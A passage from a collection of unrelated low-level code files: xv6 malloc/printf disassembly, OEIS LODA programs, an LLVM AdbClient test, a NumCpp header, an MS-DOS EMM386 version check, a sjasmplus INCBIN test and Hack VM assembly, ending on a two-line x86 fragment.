572: 8d 7d e3 lea -0x1d(%ebp),%edi
575: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
578: 83 ec 04 sub $0x4,%esp
s++;
57b: 83 c6 01 add $0x1,%esi
57e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
581: 6a 01 push $0x1
583: 57 push %edi
584: 53 push %ebx
585: e8 68 fd ff ff call 2f2 <write>
while(*s != 0){
58a: 0f b6 06 movzbl (%esi),%eax
58d: 83 c4 10 add $0x10,%esp
590: 84 c0 test %al,%al
592: 75 e4 jne 578 <printf+0x148>
594: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
597: 31 ff xor %edi,%edi
599: e9 da fe ff ff jmp 478 <printf+0x48>
59e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 0a 00 00 00 mov $0xa,%ecx
5a8: 6a 01 push $0x1
5aa: e9 73 ff ff ff jmp 522 <printf+0xf2>
5af: 90 nop
write(fd, &c, 1);
5b0: 83 ec 04 sub $0x4,%esp
5b3: 88 5d e5 mov %bl,-0x1b(%ebp)
5b6: 8d 45 e5 lea -0x1b(%ebp),%eax
5b9: 6a 01 push $0x1
5bb: e9 21 ff ff ff jmp 4e1 <printf+0xb1>
putc(fd, *ap);
5c0: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
5c3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5c6: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
5c8: 6a 01 push $0x1
ap++;
5ca: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
5cd: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5d0: 8d 45 e4 lea -0x1c(%ebp),%eax
5d3: 50 push %eax
5d4: ff 75 08 pushl 0x8(%ebp)
5d7: e8 16 fd ff ff call 2f2 <write>
ap++;
5dc: 89 7d d4 mov %edi,-0x2c(%ebp)
5df: 83 c4 10 add $0x10,%esp
state = 0;
5e2: 31 ff xor %edi,%edi
5e4: e9 8f fe ff ff jmp 478 <printf+0x48>
s = "(null)";
5e9: bb cb 07 00 00 mov $0x7cb,%ebx
while(*s != 0){
5ee: b8 28 00 00 00 mov $0x28,%eax
5f3: e9 72 ff ff ff jmp 56a <printf+0x13a>
5f8: 66 90 xchg %ax,%ax
5fa: 66 90 xchg %ax,%ax
5fc: 66 90 xchg %ax,%ax
5fe: 66 90 xchg %ax,%ax
00000600 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
600: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
601: a1 80 0a 00 00 mov 0xa80,%eax
{
606: 89 e5 mov %esp,%ebp
608: 57 push %edi
609: 56 push %esi
60a: 53 push %ebx
60b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
60e: 8d 4b f8 lea -0x8(%ebx),%ecx
611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
618: 39 c8 cmp %ecx,%eax
61a: 8b 10 mov (%eax),%edx
61c: 73 32 jae 650 <free+0x50>
61e: 39 d1 cmp %edx,%ecx
620: 72 04 jb 626 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
622: 39 d0 cmp %edx,%eax
624: 72 32 jb 658 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
626: 8b 73 fc mov -0x4(%ebx),%esi
629: 8d 3c f1 lea (%ecx,%esi,8),%edi
62c: 39 fa cmp %edi,%edx
62e: 74 30 je 660 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
630: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
633: 8b 50 04 mov 0x4(%eax),%edx
636: 8d 34 d0 lea (%eax,%edx,8),%esi
639: 39 f1 cmp %esi,%ecx
63b: 74 3a je 677 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
63d: 89 08 mov %ecx,(%eax)
freep = p;
63f: a3 80 0a 00 00 mov %eax,0xa80
}
644: 5b pop %ebx
645: 5e pop %esi
646: 5f pop %edi
647: 5d pop %ebp
648: c3 ret
649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
650: 39 d0 cmp %edx,%eax
652: 72 04 jb 658 <free+0x58>
654: 39 d1 cmp %edx,%ecx
656: 72 ce jb 626 <free+0x26>
{
658: 89 d0 mov %edx,%eax
65a: eb bc jmp 618 <free+0x18>
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
660: 03 72 04 add 0x4(%edx),%esi
663: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
666: 8b 10 mov (%eax),%edx
668: 8b 12 mov (%edx),%edx
66a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
66d: 8b 50 04 mov 0x4(%eax),%edx
670: 8d 34 d0 lea (%eax,%edx,8),%esi
673: 39 f1 cmp %esi,%ecx
675: 75 c6 jne 63d <free+0x3d>
p->s.size += bp->s.size;
677: 03 53 fc add -0x4(%ebx),%edx
freep = p;
67a: a3 80 0a 00 00 mov %eax,0xa80
p->s.size += bp->s.size;
67f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
682: 8b 53 f8 mov -0x8(%ebx),%edx
685: 89 10 mov %edx,(%eax)
}
687: 5b pop %ebx
688: 5e pop %esi
689: 5f pop %edi
68a: 5d pop %ebp
68b: c3 ret
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000690 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 57 push %edi
694: 56 push %esi
695: 53 push %ebx
696: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
699: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
69c: 8b 15 80 0a 00 00 mov 0xa80,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6a2: 8d 78 07 lea 0x7(%eax),%edi
6a5: c1 ef 03 shr $0x3,%edi
6a8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6ab: 85 d2 test %edx,%edx
6ad: 0f 84 9d 00 00 00 je 750 <malloc+0xc0>
6b3: 8b 02 mov (%edx),%eax
6b5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6b8: 39 cf cmp %ecx,%edi
6ba: 76 6c jbe 728 <malloc+0x98>
6bc: 81 ff 00 10 00 00 cmp $0x1000,%edi
6c2: bb 00 10 00 00 mov $0x1000,%ebx
6c7: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
6ca: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6d1: eb 0e jmp 6e1 <malloc+0x51>
6d3: 90 nop
6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6d8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6da: 8b 48 04 mov 0x4(%eax),%ecx
6dd: 39 f9 cmp %edi,%ecx
6df: 73 47 jae 728 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6e1: 39 05 80 0a 00 00 cmp %eax,0xa80
6e7: 89 c2 mov %eax,%edx
6e9: 75 ed jne 6d8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6eb: 83 ec 0c sub $0xc,%esp
6ee: 56 push %esi
6ef: e8 66 fc ff ff call 35a <sbrk>
if(p == (char*)-1)
6f4: 83 c4 10 add $0x10,%esp
6f7: 83 f8 ff cmp $0xffffffff,%eax
6fa: 74 1c je 718 <malloc+0x88>
hp->s.size = nu;
6fc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6ff: 83 ec 0c sub $0xc,%esp
702: 83 c0 08 add $0x8,%eax
705: 50 push %eax
706: e8 f5 fe ff ff call 600 <free>
return freep;
70b: 8b 15 80 0a 00 00 mov 0xa80,%edx
if((p = morecore(nunits)) == 0)
711: 83 c4 10 add $0x10,%esp
714: 85 d2 test %edx,%edx
716: 75 c0 jne 6d8 <malloc+0x48>
return 0;
}
}
718: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
71b: 31 c0 xor %eax,%eax
}
71d: 5b pop %ebx
71e: 5e pop %esi
71f: 5f pop %edi
720: 5d pop %ebp
721: c3 ret
722: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
728: 39 cf cmp %ecx,%edi
72a: 74 54 je 780 <malloc+0xf0>
p->s.size -= nunits;
72c: 29 f9 sub %edi,%ecx
72e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
731: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
734: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
737: 89 15 80 0a 00 00 mov %edx,0xa80
}
73d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
740: 83 c0 08 add $0x8,%eax
}
743: 5b pop %ebx
744: 5e pop %esi
745: 5f pop %edi
746: 5d pop %ebp
747: c3 ret
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
750: c7 05 80 0a 00 00 84 movl $0xa84,0xa80
757: 0a 00 00
75a: c7 05 84 0a 00 00 84 movl $0xa84,0xa84
761: 0a 00 00
base.s.size = 0;
764: b8 84 0a 00 00 mov $0xa84,%eax
769: c7 05 88 0a 00 00 00 movl $0x0,0xa88
770: 00 00 00
773: e9 44 ff ff ff jmp 6bc <malloc+0x2c>
778: 90 nop
779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
780: 8b 08 mov (%eax),%ecx
782: 89 0a mov %ecx,(%edx)
784: eb b1 jmp 737 <malloc+0xa7>
|
SECTION TEXT
C_INPUT LETRA
LOAD CONT
LOOP: C_OUTPUT LETRA
SUB UM
JMPP LOOP
STOP
SECTION DATA
CONT: CONST 10
UM: CONST 1
LETRA: CONST 61h |
; A112691: a(n) = J(n+1) mod J(n), J(n)=A001045(n).
; 1,0,0,2,1,10,1,42,1,170,1,682,1,2730,1,10922,1,43690,1,174762,1,699050,1,2796202,1,11184810,1,44739242,1,178956970,1,715827882,1,2863311530,1,11453246122,1,45812984490,1,183251937962,1,733007751850,1,2932031007402,1,11728124029610,1,46912496118442,1,187649984473770,1,750599937895082,1,3002399751580330,1
cal $0,167193 ; a(n) = (1/3)*(1 - (-2)^n + 3*(-1)^n ) = (-1)^(n+1)*A167030(n).
add $2,$0
clr $1,$0
mov $26,$2
cmp $26,0
add $2,$26
div $0,$2
mov $1,$0
|
//===-- AdbClientTest.cpp -------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#include "gtest/gtest.h"
#include "Plugins/Platform/Android/AdbClient.h"
#include <cstdlib>
static void set_env(const char *var, const char *value) {
#ifdef _WIN32
_putenv_s(var, value);
#else
setenv(var, value, true);
#endif
}
using namespace lldb;
using namespace lldb_private;
namespace lldb_private {
namespace platform_android {
class AdbClientTest : public ::testing::Test {
public:
void SetUp() override { set_env("ANDROID_SERIAL", ""); }
void TearDown() override { set_env("ANDROID_SERIAL", ""); }
};
TEST(AdbClientTest, CreateByDeviceId) {
AdbClient adb;
Status error = AdbClient::CreateByDeviceID("device1", adb);
EXPECT_TRUE(error.Success());
EXPECT_EQ("device1", adb.GetDeviceID());
}
TEST(AdbClientTest, CreateByDeviceId_ByEnvVar) {
set_env("ANDROID_SERIAL", "device2");
AdbClient adb;
Status error = AdbClient::CreateByDeviceID("", adb);
EXPECT_TRUE(error.Success());
EXPECT_EQ("device2", adb.GetDeviceID());
}
} // end namespace platform_android
} // end namespace lldb_private
|
; A017255: a(n) = (9*n + 7)^11.
; 1977326743,17592186044416,2384185791015625,70188843638032384,929293739471222707,7516865509350965248,43513917611435838661,197732674300000000000,747993810527520928879,2450808588882738675712,7153014030880804126753,18982985583354248390656,46523913960640966796875,106570876280498368282624,230339304218442143770717,473338454265244805675008,930564370500844495614151,1759218604441600000000000,3211838877954855105157369,5683554455074796217321472,9778171990537733621073763,16398978063355821105872896,26871534751769943408203125,43107367983100618650916864,67819329772617336566541727,104801580876470315823136768,159289617104504228485730641,238418579101562500000000000,351801271595486322734724859,512250904963838973923295232,736677591779499338860277773,1047192117300356121695451136,1472455490465714973583984375,2049318306899655055957295104,2824800055000021240134845737,3858465208964226558463510528,5225260318375411481909498131,7018884363803238400000000000,9355773444073799096880141349,12379790436996519307878356992,16267720676218928340423448783,21235685958581725467693285376,27546601386188352049462890625,35518812703959534278923577344,45536065966540892753630392747,58058976609150249860268556288,73638181357622863863877426621,92929373947122270700000000000,116710444381569143360604716839,145900961512890638499422666752,181584260108050775997625896793,225032416361083806744810735616,277734420056865215301513671875,341427877364219557396646723584,418134605590533958835165292757,510200510231926645287045634048,620340165367069806017523226111,751686550935096524800000000000,907846434775996175406740561329,1092961923564137946058318784512,1311778745001927027370820531803,1569721863932214103490330361856,1872979077447320389547705078125,2228593278693034455083740493824,2644564125962562988946446055767,3129959902924307654089331703808,3695040407505879039923659806601,4351391761143583866100000000000,5112074086881623076996824584819,5991783064249558974438175670272,7007026431042644382390701863813,8176316567161003968224881924096,9520380363615317838668505859375,11062387650764733594415151448064,12828199533904631006539357591777,14846638061556241842956537325568,17149778732316897228172675278091,19773267430000000000000000000000,22756663464120116199753794497309,26143810483654517096156192684032,29983237126533002627699290002823,34328589365569073114986458382336,39239096613644915436481884765625,44780073756998912102538734946304,51023461395537398959410867210787,58048406683303374394526770659328,65941887280686237315442668950581,74799381052752092887900000000000,84725584275318656725076444808799,95835181242198505233705223585792,108253668303496810087990594658833,122118235506083458895394671896576,137578709153474555247118310546875,154798558753465915349633591148544,173955971978073793782614248622797,195245001421769388725200341465088,218876787110758660970351827334071,245080858888273867571200000000000,274106522978625429030383642829289,306224337216231040181426160535552
mul $0,9
add $0,7
pow $0,11
|
/// @file
/// @author David Pilger <dpilger26@gmail.com>
/// [GitHub Repository](https://github.com/dpilger26/NumCpp)
/// @version 1.1
///
/// @section License
/// Copyright 2019 David Pilger
///
/// Permission is hereby granted, free of charge, to any person obtaining a copy of this
/// software and associated documentation files(the "Software"), to deal in the Software
/// without restriction, including without limitation the rights to use, copy, modify,
/// merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
/// permit persons to whom the Software is furnished to do so, subject to the following
/// conditions :
///
/// The above copyright notice and this permission notice shall be included in all copies
/// or substantial portions of the Software.
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
/// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
/// PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
/// FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
/// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
/// DEALINGS IN THE SOFTWARE.
///
/// @section Description
/// vector hat operator
///
#pragma once
#include "NumCpp/Core/Error.hpp"
#include "NumCpp/NdArray.hpp"
#include "NumCpp/Vector/Vec3.hpp"
#include <string>
namespace nc
{
namespace linalg
{
//============================================================================
// Method Description:
/// vector hat operator
///
/// @param inX
/// @param inY
/// @param inZ
/// @return
/// 3x3 NdArray
///
template<typename dtype>
NdArray<dtype> hat(dtype inX, dtype inY, dtype inZ) noexcept
{
NdArray<dtype> returnArray(3);
returnArray(0, 0) = 0.0;
returnArray(0, 1) = -inZ;
returnArray(0, 2) = inY;
returnArray(1, 0) = inZ;
returnArray(1, 1) = 0.0;
returnArray(1, 2) = -inX;
returnArray(2, 0) = -inY;
returnArray(2, 1) = inX;
returnArray(2, 2) = 0.0;
return returnArray;
}
//============================================================================
// Method Description:
/// vector hat operator
///
/// @param
/// inVec (3x1, or 1x3 cartesian vector)
/// @return
/// 3x3 NdArray
///
template<typename dtype>
NdArray<dtype> hat(const NdArray<dtype>& inVec)
{
if (inVec.size() != 3)
{
THROW_INVALID_ARGUMENT_ERROR("input vector must be a length 3 cartesian vector.");
}
return hat(inVec[0], inVec[1], inVec[2]);
}
//============================================================================
// Method Description:
/// vector hat operator
///
/// @param
/// inVec
/// @return
/// 3x3 NdArray
///
inline NdArray<double> hat(const Vec3& inVec)
{
return hat(inVec.x, inVec.y, inVec.z);
}
}
}
|
; CALLER linkage for function pointers
PUBLIC HeapInfo
EXTERN MAHeapInfo
.HeapInfo
pop af
pop hl
push af
call MAHeapInfo
pop af
pop hl
ld (hl),c
inc hl
ld (hl),b
pop hl
ld (hl),e
inc hl
ld (hl),d
push hl
push hl
push hl
push af
ret
|
;========================================================
COMMENT #
GETEMM.ASM
Copyright (c) 1991 - Microsoft Corp.
All rights reserved.
Microsoft Confidential
=================================================
Function returns the EMM386 version number if it's present else 0
unsigned GetEmmVersion( void )
ARGUMENTS: NONE
RETURNS: unsigned - EMM386 internal revision number or 0
================================================
Change Log:
Date Who NUMBER Description
-------- --- ---- ---------------------------------------------
08/20/90 JAH Created
01/23/90 DLB M000 Test for $MMXXXX0 device (when "device=
EMM386 NOEMS") as well as EMMXXXX0 device.
Also deleted "POP ES" which trashed ES.
01/23/90 DLB M001 If EMMXXXX0 or $MMXXXX0 device exists, verify
it is EMM386.EXE by checking for "MICROSOFT"
signature.
09/14/92 ECH M002 Test for $EMMQXXX0 device (VCPI, but no EMS)
as well.
END COMMENT #
; =======================================================
INCLUDE model.inc
; =======================================================
EMM_INT_VECT EQU 67h
DEVICE_OFFSET EQU 10
EMM_READ_FUNC EQU 1
EMM_GET_VER EQU 2
EMM_DEV_NAME EQU "EMMXXXX0",0 ; Name for EMM driver IOCTL open.
EMM_DEV_NOEMS EQU '$' ; M000: Replacement for first
; char. of EMM_DEV_NAME when
; "device=EMM386 NOEMS".
EMM_DEV_VCPI EQU "EMMQXXX0",0 ; M002: Name for EMM driver when
; VCPI but not EMS support.
EMM386_SIG EQU "MICROSOFT" ; M001: EMM386 Signature.
; M001: Offset from device base.
EMM386_SIG_OFFSET EQU (0ah + EMM_DEV_NAME_LEN - 1 + 2)
; Structure of the data returned on the IOCTL call to the EMM driver
EMM_STRUC struc
EMM_Version_Maj db ? ; Internal revision number
EMM_Version_Min db ?
EMM_STRUC ends
Version EQU (-((SIZE EMM_STRUC) - EMM_Version_Maj))
Function EQU (-(SIZE EMM_STRUC))
; =======================================================
;
; For the IOCTL to get the data and version number of importable EMM info
; the IOCTL read subfunction is encoded in the first byte of the IOCTL
; read buffer.
;
; =======================================================
.DATA
; =======================================================
DeviceName db EMM_DEV_NAME ; Name for EMM IOCTL opens.
EMM_DEV_NAME_LEN EQU ($-DeviceName) ; M001: Length of DeviceName string.
EMM386Sig db EMM386_SIG ; M001: Signature for EMM386 device.
EMM386_SIG_LEN EQU ($-EMM386Sig) ; M001: Signature length.
;M002
VCPIDevName db EMM_DEV_VCPI ; Name for EMM VCPI IOCTL opens.
; =======================================================
.CODE
; =======================================================
GetEmmVersion PROC USES ES DI SI ; M000
pushf ; M001: Save flags due to CLD below.
push BP
mov BP,SP
sub SP,SIZE EMM_STRUC
;M000
mov DX,OFFSET DeviceName ; DS:DX pointer to emm name
mov AX,3d02h ; Try to open the device
int 21h
jnc GEV40 ; Jump if device opens.
mov DeviceName,EMM_DEV_NOEMS ; DS:DX -> NOEMS emm name
mov AX,3d02h ; Try to open the device
int 21h
jnc GEV40 ; Jump if device opens.
;M002
mov DX,OFFSET VCPIDevName ; DS:DX pointer to VCPI emm name
mov AX,3d02h ; Try to open the device
int 21h
jc GEV60 ; Jump if device not found.
; M001: Validate "MICROSOFT" signature.
GEV40: push AX ; Save EMM device handle.
mov AX,(35h SHL 8) OR EMM_INT_VECT
int 21h ; ES:BX -> EMM device handler.
; ES:0000 -> EMM device base.
mov DI,EMM386_SIG_OFFSET ; ES:DI -> EMM Signature.
mov SI,OFFSET EMM386Sig ; DS:SI -> EMM386 Signature.
mov CX,EMM386_SIG_LEN ; CX = Signature length.
cld
repz cmpsb ; Signature match?
jz GEV80 ; Yes, jump.
; No, fall thru and exit.
GEV60: xor AX,AX ; return code = 0.
jmp SHORT FunctExit ; Go fix stack and exit.
GEV80: pop BX ; BX = device handle.
;M000
mov AX,4400h ; IOCTL get device information.
int 21h
jc SHORT ErrorClose ; Carry indicates call unsuccesful
test DX,0080h ; Test if clock device.
jz SHORT ErrorClose ; if not, we can't steal memory.
test DX,4000h ; Are IOCTL's 02h and 03h supported
jz SHORT ErrorClose ; if not we cannot steal memory.
push DS
mov AX,SS
mov DS,AX
mov DX,BP ; DS:DX == SS:BP
mov CX,SIZE EMM_STRUC ; CX == size of the ctrl string
sub DX,CX ; DS:DX --> Start of data struct
mov BYTE PTR [BP].Function,EMM_GET_VER
mov AX,4402h ; Read control device string function
int 21h
pop DS
jc SHORT ErrorClose ; Carry indicates call unsuccesful
cmp AX,CX ; If ax != cx we did not get the
jne SHORT ErrorClose ; number of bytes we requested !
mov AX,WORD PTR [BP].Version ; Have good version #
xchg AH,AL ; Put major ver. in AH & minor in AL
jmp SHORT CloseHandle
ErrorClose:
xor AX,AX ; Invalid SmartDrv version #
CloseHandle:
push AX
mov AX,3E00h ; Close device, handle in BX.
int 21h ; Call DOS
pop AX
FunctExit:
mov SP,BP
pop BP
popf ; M001
ret ; return to caller.
GetEmmVersion ENDP
; =======================================================
END
|
; A242985: a(n) = 4^n + 2^(n+1).
; 3,8,24,80,288,1088,4224,16640,66048,263168,1050624,4198400,16785408,67125248,268468224,1073807360,4295098368,17180131328,68720001024,274878955520,1099513724928,4398050705408,17592194433024,70368760954880,281475010265088,1125899973951488,4503599761588224
mov $1,2
pow $1,$0
add $1,1
pow $1,2
sub $1,1
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: File Manager Tools
MODULE: 1.X VM File Conversion
FILE: convertManager.asm
AUTHOR: Adam de Boor, Aug 26, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 8/26/92 Initial revision
DESCRIPTION:
Main assembly file for a tool for file managers to convert 1.x
documents from 1.x VM files to 2.0 VM files.
$Id: linktoolManager.asm,v 1.1 97/04/04 18:01:21 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include stdapp.def
include library.def
UseLib shell.def
UseLib Objects/vTextC.def
include fmtool.def
include file.def
include localize.def
include linktoolConstant.def
include linktoolVariable.def
include linktool.rdef
CommonCold segment resource
include linktoolTool.asm
include linktoolText.asm
include linktoolEntry.asm
CommonCold ends
|
DEVICE ZXSPECTRUMNEXT : SLOT 7 : LABELSLIST "incbin80k.lbl"
; incbin80k.bin is from offset 2 letters 'a' to 't' with linux newlines (byte 10)
; for each letter, there's 80 of them + newline, repeated 51 times
; such one letter block = 51*81 = 4131 bytes (just over 4ki), there's 20 letters
; = 82620 bytes (plus 2 bytes at beginning making it "binary" file for git)
; try short incbin (no paging) first into page 20
ORG 0xE000
MMU 7 n, 20
short_start:
INCBIN "incbin80k/incbin80k.bin",2,81
short_end:
ASSERT $$ == 20 && $ == 0xE000 + 81
ASSERT {0xE000} == "aa" && {0xE000+79} == "\na"
; try 3-page long incbin into pages 21, 22, 23
MMU 7 n, 21
ORG 0xE000
p3_start:
INCBIN "incbin80k/incbin80k.bin",2,81*51*4 ; include four letters (16524 bytes)
p3_end:
PAGE 21 : ASSERT {0xE000} == "aa" && {0xE000+79} == "\na" && {0xE000+81*51} == "bb" && {0xFFFE} == "bb"
PAGE 22 : ASSERT {0xE000} == "bb" && {0xE000+81*102-0x2000-2} == "\nb"
ASSERT {0xE000+81*102-0x2000} == "cc" && {0xE000+81*153-0x2000-2} == "\nc"
ASSERT {0xE000+81*153-0x2000} == "dd" && {0xFFFE} == "dd"
PAGE 23 : ASSERT {0xE000} == "dd" && {0xE000+81*204-0x4000-2} == "\nd"
ASSERT {0xE000+81*204-0x4000} == 0
; try error by including beyond device RAM range
MMU 7, 23 ; reset wrapping behaviour for slot 7, keep page 23
err_start:
INCBIN "incbin80k/incbin80k.bin",2,81*51*2 ; include two letters (8+ki)
err_end:
; try full length 80+ki binary include
MMU 7 n, 30 ; map pages 30, 31, 32, .., 40 (11 pages long)
ORG 0xE000
long_start:
INCBIN "incbin80k/incbin80k.bin",2 ; include 20 letters from offset 2
long_end:
PAGE 30 : ASSERT {0xE000} == "aa" && {0xE000+79} == "\na" && {0xE000+81*51} == "bb" && {0xFFFE} == "bb"
PAGE 31 : ASSERT {0xE000} == "bb" && {0xE000+81*102-0x2000-2} == "\nb"
ASSERT {0xE000+81*102-0x2000} == "cc" && {0xE000+81*153-0x2000-2} == "\nc"
ASSERT {0xE000+81*153-0x2000} == "dd" && {0xFFFE} == "dd"
PAGE 32 : ASSERT {0xE000} == "dd" && {0xE000+81*204-0x4000-2} == "\nd"
ASSERT {0xE000+81*204-0x4000} == "ee" && {0xE000+81*255-0x4000-2} == "\ne"
PAGE 37 : ASSERT {0xE000} == "nn" && {0xE000+81*51*14-0xE000-2} == "\nn"
ASSERT {0xE000+81*51*14-0xE000} == "oo" && {0xE000+81*51*15-0xE000-2} == "\no"
ASSERT {0xE000+81*51*15-0xE000} == "pp" && {0xFFFE} == "pp"
PAGE 38 : ASSERT {0xE000} == "pp" && {0xE000+81*51*16-0x10000-2} == "\np"
ASSERT {0xE000+81*51*16-0x10000} == "qq" && {0xE000+81*51*17-0x10000-2} == "\nq"
ASSERT {0xE000+81*51*17-0x10000} == "rr" && {0xFFFE} == "rr"
PAGE 40 : ASSERT {0xE000} == "tt" && {0xE000+81*51*20-0x14000-2} == "\nt"
ASSERT {0xE000+81*51*20-0x14000} == 0 && {0xFFFE} == 0
; incbin in no-device mode: includes whole file, addressing goes into 16+ bit realm
DEVICE NONE
ORG 0xE000
nodevice_start:
INCBIN "incbin80k/incbin80k.bin",2 ; include 20 letters from offset 2
nodevice_end: ; emits warning about going over 0x10000
; switch back to ZX Next to produce labels list
ORG 0 : DEVICE ZXSPECTRUMNEXT ; slot 7 is still in "wrap", but $ is beyond (error) => org 0 needed
; one more test of case when even wrapping MMU runs out of next pages
MMU 7 n, 222 ; two pages left: 222, 223, try to include 3 pages
ORG 0xE000
noram_start: ; emit error of running out of free memory pages
INCBIN "incbin80k/incbin80k.bin",2,81*51*4 ; include four letters (16524 bytes)
noram_end:
PAGE 222 : ASSERT {0xE000} == "aa" && {0xE000+79} == "\na" && {0xE000+81*51} == "bb" && {0xFFFE} == "bb"
PAGE 223 : ASSERT {0xE000} == "bb" && {0xE000+81*102-0x2000-2} == "\nb"
ASSERT {0xE000+81*102-0x2000} == "cc" && {0xE000+81*153-0x2000-2} == "\nc"
ASSERT {0xE000+81*153-0x2000} == "dd" && {0xFFFE} == "dd"
nop ; check error message wording in case of further write
|
; A306752: a(n) = Sum_{k=0..n} binomial(k, 8*(n-k)).
; 1,1,1,1,1,1,1,1,1,2,10,46,166,496,1288,3004,6436,12871,24312,43776,75736,126940,208336,340120,564928,980629,1817047,3605252,7531836,16146326,34716826,73737316,153430156,311652271,617594122,1195477615,2266064352,4221317464,7763706592,14176362408,25864024384,47458155673,88091251237,166062959479,318316115251,619406846462,1218874233974,2413678711066,4786554751154,9466987416839,18618980499028,36347875226110,70384541482648,135223579592299,258011577566136,489700342951520,926393707127736,1750603054645761,3311593717626371,6282623355729822
lpb $0
sub $0,1
add $2,8
mov $3,$0
bin $3,$2
add $1,$3
lpe
add $1,1
|
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@StaticTest.8
M=D
@SP
M=M-1
@SP
A=M
D=M
@StaticTest.3
M=D
@SP
M=M-1
@SP
A=M
D=M
@StaticTest.1
M=D
@StaticTest.3
D=M
@SP
A=M
M=D
@SP
M=M+1
@StaticTest.1
D=M
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
M=M-D
@SP
M=M+1
@StaticTest.8
D=M
@SP
A=M
M=D
@SP
M=M+1
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
M=M+D
@SP
M=M+1
|
global _start
section .text
_start:
;fork
xor eax,eax
